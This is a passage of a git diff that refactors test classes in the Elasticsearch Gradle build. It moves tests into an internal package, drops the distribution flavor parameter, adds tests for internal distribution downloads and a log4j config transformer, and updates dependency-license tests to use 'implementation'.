archiveProject.getConfigurations().create("default"); - archiveProject.getArtifacts().add("default", new File("doesnotmatter")); - createDistro(project, "distro", VersionProperties.getElasticsearch(), Type.ARCHIVE, platform, flavor, bundledJdk); - } - } - } - } - - public void testLocalCurrentVersionPackages() { - for (Type packageType : new Type[] { Type.RPM, Type.DEB }) { - for (Flavor flavor : Flavor.values()) { - for (boolean bundledJdk : new boolean[] { true, false }) { - Project project = createProject(BWC_MINOR, true); - String projectName = projectName(packageType.toString(), flavor, bundledJdk); - Project packageProject = ProjectBuilder.builder().withParent(packagesProject).withName(projectName).build(); - packageProject.getConfigurations().create("default"); - packageProject.getArtifacts().add("default", new File("doesnotmatter")); - createDistro(project, "distro", VersionProperties.getElasticsearch(), packageType, null, flavor, bundledJdk); - } + for (boolean bundledJdk : new boolean[] { true, false }) { + // create a new project in each iteration, so that we know we are resolving the only additional project being created + Project project = createProject(BWC_MINOR, true); + String projectName = projectName(platform.toString(), bundledJdk); + projectName += (platform == Platform.WINDOWS ? "-zip" : "-tar"); + Project archiveProject = ProjectBuilder.builder().withParent(archivesProject).withName(projectName).build(); + archiveProject.getConfigurations().create("default"); + archiveProject.getArtifacts().add("default", new File("doesnotmatter")); + createDistro( + project, + "distro", + VersionProperties.getElasticsearch(), + ElasticsearchDistributionTypes.ARCHIVE, + platform, + bundledJdk + ); } } } public void testLocalBwcArchives() { for (Platform platform : Platform.values()) { - for (Flavor flavor : Flavor.values()) { - // note: no non bundled jdk for bwc - String configName = projectName(platform.toString(), flavor, true); - configName += (platform == Platform.WINDOWS ? "-zip" : "-tar"); - - checkBwc("minor", configName, BWC_MINOR_VERSION, Type.ARCHIVE, platform, flavor, BWC_MINOR, true); - checkBwc("staged", configName, BWC_STAGED_VERSION, Type.ARCHIVE, platform, flavor, BWC_STAGED, true); - checkBwc("bugfix", configName, BWC_BUGFIX_VERSION, Type.ARCHIVE, platform, flavor, BWC_BUGFIX, true); - checkBwc("maintenance", configName, BWC_MAINTENANCE_VERSION, Type.ARCHIVE, platform, flavor, BWC_MAINTENANCE, true); - } - } - } - - public void testLocalBwcPackages() { - for (Type packageType : new Type[] { Type.RPM, Type.DEB }) { - for (Flavor flavor : Flavor.values()) { - // note: no non bundled jdk for bwc - String configName = projectName(packageType.toString(), flavor, true); - - checkBwc("minor", configName, BWC_MINOR_VERSION, packageType, null, flavor, BWC_MINOR, true); - checkBwc("staged", configName, BWC_STAGED_VERSION, packageType, null, flavor, BWC_STAGED, true); - checkBwc("bugfix", configName, BWC_BUGFIX_VERSION, packageType, null, flavor, BWC_BUGFIX, true); - checkBwc("maintenance", configName, BWC_MAINTENANCE_VERSION, packageType, null, flavor, BWC_MAINTENANCE, true); - } + // note: no non bundled jdk for bwc + String configName = projectName(platform.toString(), true); + configName += (platform == Platform.WINDOWS ? "-zip" : "-tar"); + ElasticsearchDistributionType archiveType = ElasticsearchDistributionTypes.ARCHIVE; + checkBwc("minor", configName, BWC_MINOR_VERSION, archiveType, platform, BWC_MINOR, true); + checkBwc("staged", configName, BWC_STAGED_VERSION, archiveType, platform, BWC_STAGED, true); + checkBwc("bugfix", configName, BWC_BUGFIX_VERSION, archiveType, platform, BWC_BUGFIX, true); + checkBwc("maintenance", configName, BWC_MAINTENANCE_VERSION, archiveType, platform, BWC_MAINTENANCE, true); } } @@ -241,104 +143,30 @@ private void assertDistroError( Project project, String name, String version, - Type type, + ElasticsearchDistributionType type, Platform platform, - Flavor flavor, Boolean bundledJdk, String message ) { IllegalArgumentException e = expectThrows( IllegalArgumentException.class, - () -> checkDistro(project, name, version, type, platform, flavor, bundledJdk) + () -> checkDistro(project, name, version, type, platform, bundledJdk) ); assertThat(e.getMessage(), containsString(message)); } - private ElasticsearchDistribution createDistro( - Project project, - String name, - String version, - Type type, - Platform platform, - Flavor flavor, - Boolean bundledJdk - ) { - NamedDomainObjectContainer distros = DistributionDownloadPlugin.getContainer(project); - return distros.create(name, distro -> { - if (version != null) { - distro.setVersion(version); - } - if (type != null) { - distro.setType(type); - } - if (platform != null) { - distro.setPlatform(platform); - } - if (flavor != null) { - distro.setFlavor(flavor); - } - if (bundledJdk != null) { - distro.setBundledJdk(bundledJdk); - } - }).maybeFreeze(); - } - // create a distro and finalize its configuration private ElasticsearchDistribution checkDistro( Project project, String name, String version, - Type type, + ElasticsearchDistributionType type, Platform platform, - Flavor flavor, Boolean bundledJdk ) { - ElasticsearchDistribution distribution = createDistro(project, name, version, type, platform, flavor, bundledJdk); + ElasticsearchDistribution distribution = createDistro(project, name, version, type, platform, bundledJdk); distribution.finalizeValues(); return distribution; } - private void checkBwc( - String projectName, - String config, - Version version, - Type type, - Platform platform, - Flavor flavor, - BwcVersions bwcVersions, - boolean isInternal - ) { - Project project = createProject(bwcVersions, isInternal); - Project archiveProject = ProjectBuilder.builder().withParent(bwcProject).withName(projectName).build(); - archiveProject.getConfigurations().create(config); - archiveProject.getArtifacts().add(config, new File("doesnotmatter")); - createDistro(project, "distro", version.toString(), type, platform, flavor, true); - } - - private Project createProject(BwcVersions bwcVersions, boolean isInternal) { - rootProject = ProjectBuilder.builder().build(); - BuildParams.init(params -> params.setIsInternal(isInternal)); - Project distributionProject = ProjectBuilder.builder().withParent(rootProject).withName("distribution").build(); - archivesProject = ProjectBuilder.builder().withParent(distributionProject).withName("archives").build(); - packagesProject = ProjectBuilder.builder().withParent(distributionProject).withName("packages").build(); - bwcProject = ProjectBuilder.builder().withParent(distributionProject).withName("bwc").build(); - Project project = ProjectBuilder.builder().withParent(rootProject).build(); - if (bwcVersions != null) { - project.getExtensions().getExtraProperties().set("bwcVersions", bwcVersions); - } - project.getPlugins().apply("elasticsearch.distribution-download"); - return project; - } - - private static String projectName(String base, Flavor flavor, boolean bundledJdk) { - String prefix = ""; - if (flavor == Flavor.OSS) { - prefix += "oss-"; - } - if (bundledJdk == false) { - prefix += "no-jdk-"; - } - - return prefix + base; - } } diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/VersionTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/VersionTests.java index 55cc2b498e317..37aa5cf9d21da 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/VersionTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/VersionTests.java @@ -8,7 +8,7 @@ * Side Public License, v 1. */ -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.junit.Rule; import org.junit.rules.ExpectedException; diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/BwcVersionsTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/BwcVersionsTests.java similarity index 99% rename from buildSrc/src/test/java/org/elasticsearch/gradle/BwcVersionsTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/BwcVersionsTests.java index 7e340a1682729..ca6a530eef3b8 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/BwcVersionsTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/BwcVersionsTests.java @@ -1,6 +1,16 @@ -package org.elasticsearch.gradle; +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.Architecture; +import org.elasticsearch.gradle.Version; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.junit.Assume; import org.junit.BeforeClass; import org.junit.Rule; @@ -17,13 +27,6 @@ import static java.util.Arrays.asList; import static java.util.Collections.singletonList; -/* - * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one - * or more contributor license agreements. Licensed under the Elastic License - * 2.0 and the Server Side Public License, v 1; you may not use this file except - * in compliance with, at your election, the Elastic License 2.0 or the Server - * Side Public License, v 1. - */ public class BwcVersionsTests extends GradleUnitTestCase { private static final Map> sampleVersions = new HashMap<>(); diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/ConcatFilesTaskTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/ConcatFilesTaskTests.java similarity index 96% rename from buildSrc/src/test/java/org/elasticsearch/gradle/ConcatFilesTaskTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/ConcatFilesTaskTests.java index 080a2a9ffbc2d..4fce1cebb45de 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/ConcatFilesTaskTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/ConcatFilesTaskTests.java @@ -5,7 +5,7 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import java.io.File; import java.io.IOException; @@ -13,7 +13,7 @@ import java.nio.file.Files; import java.util.Arrays; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.gradle.api.Project; import org.gradle.testfixtures.ProjectBuilder; diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/EmptyDirTaskTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/EmptyDirTaskTests.java similarity index 95% rename from buildSrc/src/test/java/org/elasticsearch/gradle/EmptyDirTaskTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/EmptyDirTaskTests.java index 965236dfe9f6e..4afdf131a1740 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/EmptyDirTaskTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/EmptyDirTaskTests.java @@ -5,14 +5,14 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; import java.io.File; import java.io.IOException; import com.carrotsearch.randomizedtesting.RandomizedTest; import org.apache.tools.ant.taskdefs.condition.Os; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.gradle.api.Project; import org.gradle.testfixtures.ProjectBuilder; diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/InternalDistributionDownloadPluginTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/InternalDistributionDownloadPluginTests.java new file mode 100644 index 0000000000000..c192809de71f0 --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/InternalDistributionDownloadPluginTests.java @@ -0,0 +1,47 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal; + +import org.elasticsearch.gradle.AbstractDistributionDownloadPluginTests; +import org.elasticsearch.gradle.ElasticsearchDistributionType; +import org.elasticsearch.gradle.VersionProperties; +import org.elasticsearch.gradle.internal.distribution.InternalElasticsearchDistributionTypes; +import org.gradle.api.Project; +import org.gradle.testfixtures.ProjectBuilder; + +import java.io.File; + +public class InternalDistributionDownloadPluginTests extends AbstractDistributionDownloadPluginTests { + + public void testLocalCurrentVersionPackages() { + ElasticsearchDistributionType[] types = { InternalElasticsearchDistributionTypes.RPM, InternalElasticsearchDistributionTypes.DEB }; + for (ElasticsearchDistributionType packageType : types) { + for (boolean bundledJdk : new boolean[] { true, false }) { + Project project = createProject(BWC_MINOR, true); + String projectName = projectName(packageType.toString(), bundledJdk); + Project packageProject = ProjectBuilder.builder().withParent(packagesProject).withName(projectName).build(); + packageProject.getConfigurations().create("default"); + packageProject.getArtifacts().add("default", new File("doesnotmatter")); + createDistro(project, "distro", VersionProperties.getElasticsearch(), packageType, null, bundledJdk); + } + } + } + + public void testLocalBwcPackages() { + ElasticsearchDistributionType[] types = { InternalElasticsearchDistributionTypes.RPM, InternalElasticsearchDistributionTypes.DEB }; + for (ElasticsearchDistributionType packageType : types) { + // note: no non bundled jdk for bwc + String configName = projectName(packageType.toString(), true); + checkBwc("minor", configName, BWC_MINOR_VERSION, packageType, null, BWC_MINOR, true); + checkBwc("staged", configName, BWC_STAGED_VERSION, packageType, null, BWC_STAGED, true); + checkBwc("bugfix", configName, BWC_BUGFIX_VERSION, packageType, null, BWC_BUGFIX, true); + checkBwc("maintenance", configName, BWC_MAINTENANCE_VERSION, packageType, null, BWC_MAINTENANCE, true); + } + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/JdkDownloadPluginTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/JdkDownloadPluginTests.java similarity index 97% rename from buildSrc/src/test/java/org/elasticsearch/gradle/JdkDownloadPluginTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/JdkDownloadPluginTests.java index e835e816f4c33..35e2b42b4bba7 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/JdkDownloadPluginTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/JdkDownloadPluginTests.java @@ -6,9 +6,9 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle; +package org.elasticsearch.gradle.internal; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.gradle.api.NamedDomainObjectContainer; import org.gradle.api.Project; import org.gradle.testfixtures.ProjectBuilder; diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/checkstyle/SnipptLengthCheckTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/checkstyle/SnipptLengthCheckTests.java similarity index 96% rename from buildSrc/src/test/java/org/elasticsearch/gradle/checkstyle/SnipptLengthCheckTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/checkstyle/SnipptLengthCheckTests.java index 934ff075232c2..3258cd67ba1f6 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/checkstyle/SnipptLengthCheckTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/checkstyle/SnipptLengthCheckTests.java @@ -6,9 +6,9 @@ * Side Public License, v 1. */ -package org.elasticsearch.gradle.checkstyle; +package org.elasticsearch.gradle.internal.checkstyle; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import java.util.ArrayList; import java.util.Arrays; diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/doc/RestTestFromSnippetsTaskTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/doc/RestTestFromSnippetsTaskTests.java similarity index 90% rename from buildSrc/src/test/java/org/elasticsearch/gradle/doc/RestTestFromSnippetsTaskTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/doc/RestTestFromSnippetsTaskTests.java index e2780728e0e7b..a4b332ff9133e 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/doc/RestTestFromSnippetsTaskTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/doc/RestTestFromSnippetsTaskTests.java @@ -5,14 +5,14 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.doc; +package org.elasticsearch.gradle.internal.doc; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.gradle.api.InvalidUserDataException; import org.junit.Rule; import org.junit.rules.ExpectedException; -import static org.elasticsearch.gradle.doc.RestTestsFromSnippetsTask.replaceBlockQuote; +import static org.elasticsearch.gradle.internal.doc.RestTestsFromSnippetsTask.replaceBlockQuote; public class RestTestFromSnippetsTaskTests extends GradleUnitTestCase { @Rule diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/doc/SnippetsTaskTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/doc/SnippetsTaskTests.java similarity index 94% rename from buildSrc/src/test/java/org/elasticsearch/gradle/doc/SnippetsTaskTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/doc/SnippetsTaskTests.java index 4e83225296b21..50517653384ff 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/doc/SnippetsTaskTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/doc/SnippetsTaskTests.java @@ -5,9 +5,9 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.doc; +package org.elasticsearch.gradle.internal.doc; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; public class SnippetsTaskTests extends GradleUnitTestCase { diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/docker/DockerSupportServiceTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/docker/DockerSupportServiceTests.java similarity index 89% rename from buildSrc/src/test/java/org/elasticsearch/gradle/docker/DockerSupportServiceTests.java rename to buildSrc/src/test/java/org/elasticsearch/gradle/internal/docker/DockerSupportServiceTests.java index 9017210faeb0f..ff42761361802 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/docker/DockerSupportServiceTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/docker/DockerSupportServiceTests.java @@ -5,19 +5,19 @@ * in compliance with, at your election, the Elastic License 2.0 or the Server * Side Public License, v 1. */ -package org.elasticsearch.gradle.docker; +package org.elasticsearch.gradle.internal.docker; -import org.elasticsearch.gradle.test.GradleIntegrationTestCase; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import java.util.HashMap; import java.util.List; import java.util.Map; -import static org.elasticsearch.gradle.docker.DockerSupportService.deriveId; -import static org.elasticsearch.gradle.docker.DockerSupportService.parseOsRelease; +import static org.elasticsearch.gradle.internal.docker.DockerSupportService.deriveId; +import static org.elasticsearch.gradle.internal.docker.DockerSupportService.parseOsRelease; import static org.hamcrest.CoreMatchers.equalTo; -public class DockerSupportServiceTests extends GradleIntegrationTestCase { +public class DockerSupportServiceTests extends GradleUnitTestCase { public void testParseOsReleaseOnOracle() { final List lines = List.of( diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/docker/TransformLog4jConfigFilterTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/docker/TransformLog4jConfigFilterTests.java new file mode 100644 index 0000000000000..cc673cd758ec6 --- /dev/null +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/docker/TransformLog4jConfigFilterTests.java @@ -0,0 +1,149 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.gradle.internal.docker; + +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; + +import java.util.List; + +import static org.hamcrest.Matchers.equalTo; + +public class TransformLog4jConfigFilterTests extends GradleUnitTestCase { + + /** + * Check that the transformer doesn't explode when given an empty file. + */ + public void testTransformEmptyConfig() { + runTest(List.of(), List.of()); + } + + /** + * Check that the transformer leaves non-appender lines alone. + */ + public void testTransformEchoesNonAppenderLines() { + List input = List.of( + "status = error", + "", + "##############################", + "rootLogger.level = info", + "example = \"broken\\", + " line\"" + ); + + runTest(input, input); + } + + /** + * Check that the root logger appenders are filtered to just the "rolling" appender + */ + public void testTransformFiltersRootLogger() { + List input = List.of( + "rootLogger.appenderRef.console.ref = console", + "rootLogger.appenderRef.rolling.ref = rolling", + "rootLogger.appenderRef.rolling_old.ref = rolling_old" + ); + List expected = List.of("rootLogger.appenderRef.rolling.ref = rolling"); + + runTest(input, expected); + } + + /** + * Check that any explicit 'console' or 'rolling_old' appenders are removed. + */ + public void testTransformRemoveExplicitConsoleAndRollingOldAppenders() { + List input = List.of( + "appender.console.type = Console", + "appender.console.name = console", + "appender.console.layout.type = PatternLayout", + "appender.console.layout.pattern = [%d{ISO8601}][%-5p][%-25c{1.}] [%node_name]%marker %m%n", + "appender.rolling_old.type = RollingFile", + "appender.rolling_old.name = rolling_old", + "appender.rolling_old.layout.type = PatternLayout", + "appender.rolling_old.layout.pattern = [%d{ISO8601}][%-5p][%-25c{1.}] [%node_name]%marker %m%n" + ); + + runTest(input, List.of()); + } + + /** + * Check that rolling file appenders are converted to console appenders. + */ + public void testTransformConvertsRollingToConsole() { + List input = List.of("appender.rolling.type = RollingFile", "appender.rolling.name = rolling"); + + List expected = List.of("appender.rolling.type = Console", "appender.rolling.name = rolling"); + + runTest(input, expected); + } + + /** + * Check that rolling file appenders have redundant properties removed. + */ + public void testTransformRemovedRedundantProperties() { + List input = List.of( + "appender.rolling.fileName = ${sys:es.logs.base_path}/${sys:es.logs.cluster_name}_server.json", + "appender.rolling.layout.type = ECSJsonLayout", + "appender.rolling.layout.dataset = elasticsearch.server", + "appender.rolling.filePattern = ${sys:es.logs.base_path}/${sys:es.logs.cluster_name}-%d{yyyy-MM-dd}-%i.json.gz", + "appender.rolling.policies.type = Policies", + "appender.rolling.strategy.type = DefaultRolloverStrategy" + ); + + List expected = List.of( + "appender.rolling.layout.type = ECSJsonLayout", + "appender.rolling.layout.dataset = elasticsearch.server" + ); + + runTest(input, expected); + } + + /** + * Check that rolling file appenders have redundant properties removed. + */ + public void testTransformSkipsPropertiesWithLineBreaks() { + List input = List.of( + "appender.rolling.fileName = ${sys:es.logs.base_path}${sys:file.separator}\\", + " ${sys:es.logs.cluster_name}_server.json", + "appender.rolling.layout.type = ECSJsonLayout" + ); + + List expected = List.of("appender.rolling.layout.type = ECSJsonLayout"); + + runTest(input, expected); + } + + /** + * Check that as well as skipping old appenders, logger references to them are also skipped. + */ + public void testTransformSkipsOldAppenderRefs() { + List input = List.of( + "logger.index_indexing_slowlog.appenderRef.index_indexing_slowlog_rolling_old.ref = index_indexing_slowlog_rolling_old" + ); + + runTest(input, List.of()); + } + + /** + * Check that multiple blank lines are reduced to a single line. + */ + public void testMultipleBlanksReducedToOne() { + List input = List.of("status = error", "", "", "rootLogger.level = info"); + + List expected = List.of("status = error", "", "rootLogger.level = info"); + + final List transformed = TransformLog4jConfigFilter.skipBlanks(input); + assertThat(transformed, equalTo(expected)); + } + + private void runTest(List input, List expected) { + final List transformed = TransformLog4jConfigFilter.transformConfig(input); + + assertThat(transformed, equalTo(expected)); + } +} diff --git a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/DependencyLicensesTaskTests.java b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/DependencyLicensesTaskTests.java index de81039786ceb..38328459866c4 100644 --- a/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/DependencyLicensesTaskTests.java +++ b/buildSrc/src/test/java/org/elasticsearch/gradle/internal/precommit/DependencyLicensesTaskTests.java @@ -7,7 +7,8 @@ */ package org.elasticsearch.gradle.internal.precommit; -import org.elasticsearch.gradle.test.GradleUnitTestCase; +import org.apache.groovy.util.Maps; +import org.elasticsearch.gradle.internal.test.GradleUnitTestCase; import org.gradle.api.Action; import org.gradle.api.GradleException; import org.gradle.api.Project; @@ -55,6 +56,13 @@ public void prepare() { task = createDependencyLicensesTask(project); updateShas = createUpdateShasTask(project, task); dependency = project.getDependencies().localGroovy(); + task.configure(new Action() { + @Override + public void execute(DependencyLicensesTask dependencyLicensesTask) { + dependencyLicensesTask.mapping(Maps.of("from", "groovy-.*", "to", "groovy")); + dependencyLicensesTask.mapping(Maps.of("from", "javaparser-.*", "to", "groovy")); + } + }); } @Test @@ -71,7 +79,7 @@ public void givenProjectWithoutLicensesDirButWithDependenciesThenShouldThrowExce expectedException.expect(GradleException.class); expectedException.expectMessage(containsString("does not exist, but there are dependencies")); - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); task.get().checkDependencies(); } @@ -89,7 +97,7 @@ public void givenProjectWithDependencyButNoShaFileThenShouldReturnException() th createFileIn(licensesDir, "groovy-all-LICENSE.txt", PERMISSIVE_LICENSE_TEXT); createFileIn(licensesDir, "groovy-all-NOTICE.txt", ""); - project.getDependencies().add("compile", project.getDependencies().localGroovy()); + project.getDependencies().add("implementation", project.getDependencies().localGroovy()); task.get().checkDependencies(); } @@ -98,7 +106,7 @@ public void givenProjectWithDependencyButNoLicenseFileThenShouldReturnException( expectedException.expect(GradleException.class); expectedException.expectMessage(containsString("Missing LICENSE for ")); - project.getDependencies().add("compile", project.getDependencies().localGroovy()); + project.getDependencies().add("implementation", project.getDependencies().localGroovy()); getLicensesDir(project).mkdir(); updateShas.updateShas(); @@ -110,9 +118,9 @@ public void givenProjectWithDependencyButNoNoticeFileThenShouldReturnException() expectedException.expect(GradleException.class); expectedException.expectMessage(containsString("Missing NOTICE for ")); - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); - createFileIn(getLicensesDir(project), "groovy-all-LICENSE.txt", PERMISSIVE_LICENSE_TEXT); + createFileIn(getLicensesDir(project), "groovy-LICENSE.txt", PERMISSIVE_LICENSE_TEXT); updateShas.updateShas(); task.get().checkDependencies(); @@ -123,10 +131,10 @@ public void givenProjectWithStrictDependencyButNoSourcesFileThenShouldReturnExce expectedException.expect(GradleException.class); expectedException.expectMessage(containsString("Missing SOURCES for ")); - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); - createFileIn(getLicensesDir(project), "groovy-all-LICENSE.txt", STRICT_LICENSE_TEXT); - createFileIn(getLicensesDir(project), "groovy-all-NOTICE.txt", ""); + createFileIn(getLicensesDir(project), "groovy-LICENSE.txt", STRICT_LICENSE_TEXT); + createFileIn(getLicensesDir(project), "groovy-NOTICE.txt", ""); updateShas.updateShas(); task.get().checkDependencies(); @@ -134,11 +142,11 @@ public void givenProjectWithStrictDependencyButNoSourcesFileThenShouldReturnExce @Test public void givenProjectWithStrictDependencyAndEverythingInOrderThenShouldReturnSilently() throws Exception { - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); - createFileIn(getLicensesDir(project), "groovy-all-LICENSE.txt", STRICT_LICENSE_TEXT); - createFileIn(getLicensesDir(project), "groovy-all-NOTICE.txt", ""); - createFileIn(getLicensesDir(project), "groovy-all-SOURCES.txt", ""); + createFileIn(getLicensesDir(project), "groovy-LICENSE.txt", STRICT_LICENSE_TEXT); + createFileIn(getLicensesDir(project), "groovy-NOTICE.txt", ""); + createFileIn(getLicensesDir(project), "groovy-SOURCES.txt", ""); updateShas.updateShas(); task.get().checkDependencies(); @@ -146,11 +154,12 @@ public void givenProjectWithStrictDependencyAndEverythingInOrderThenShouldReturn @Test public void givenProjectWithDependencyAndEverythingInOrderThenShouldReturnSilently() throws Exception { - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); File licensesDir = getLicensesDir(project); - createAllDefaultDependencyFiles(licensesDir, "groovy-all"); + createAllDefaultDependencyFiles(licensesDir, "groovy"); + createAllDefaultDependencyFiles(licensesDir, "groovy"); task.get().checkDependencies(); } @@ -159,10 +168,10 @@ public void givenProjectWithALicenseButWithoutTheDependencyThenShouldThrowExcept expectedException.expect(GradleException.class); expectedException.expectMessage(containsString("Unused license ")); - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); File licensesDir = getLicensesDir(project); - createAllDefaultDependencyFiles(licensesDir, "groovy-all"); + createAllDefaultDependencyFiles(licensesDir, "groovy"); createFileIn(licensesDir, "non-declared-LICENSE.txt", ""); task.get().checkDependencies(); @@ -173,10 +182,10 @@ public void givenProjectWithANoticeButWithoutTheDependencyThenShouldThrowExcepti expectedException.expect(GradleException.class); expectedException.expectMessage(containsString("Unused notice ")); - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); File licensesDir = getLicensesDir(project); - createAllDefaultDependencyFiles(licensesDir, "groovy-all"); + createAllDefaultDependencyFiles(licensesDir, "groovy"); createFileIn(licensesDir, "non-declared-NOTICE.txt", ""); task.get().checkDependencies(); @@ -187,10 +196,10 @@ public void givenProjectWithAShaButWithoutTheDependencyThenShouldThrowException( expectedException.expect(GradleException.class); expectedException.expectMessage(containsString("Unused sha files found: \n")); - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); File licensesDir = getLicensesDir(project); - createAllDefaultDependencyFiles(licensesDir, "groovy-all"); + createAllDefaultDependencyFiles(licensesDir, "groovy"); createFileIn(licensesDir, "non-declared.sha1", ""); task.get().checkDependencies(); @@ -201,10 +210,10 @@ public void givenProjectWithADependencyWithWrongShaThenShouldThrowException() th expectedException.expect(GradleException.class); expectedException.expectMessage(containsString("SHA has changed! Expected ")); - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); File licensesDir = getLicensesDir(project); - createAllDefaultDependencyFiles(licensesDir, "groovy-all"); + createAllDefaultDependencyFiles(licensesDir, "groovy"); Path groovySha = Files.list(licensesDir.toPath()).filter(file -> file.toFile().getName().contains("sha")).findFirst().get(); @@ -215,13 +224,13 @@ public void givenProjectWithADependencyWithWrongShaThenShouldThrowException() th @Test public void givenProjectWithADependencyMappingThenShouldReturnSilently() throws Exception { - project.getDependencies().add("compile", dependency); + project.getDependencies().add("implementation", dependency); File licensesDir = getLicensesDir(project); createAllDefaultDependencyFiles(licensesDir, "groovy"); Map mappings = new HashMap<>(); - mappings.put("from", "groovy-all"); + mappings.put("from", "groovy"); mappings.put("to", "groovy"); task.get().mapping(mappings); @@ -230,13 +239,26 @@ public void givenProjectWithADependencyMappingThenShouldReturnSilently() throws @Test public void givenProjectWithAIgnoreShaConfigurationAndNoShaFileThenShouldReturnSilently() throws Exception { - 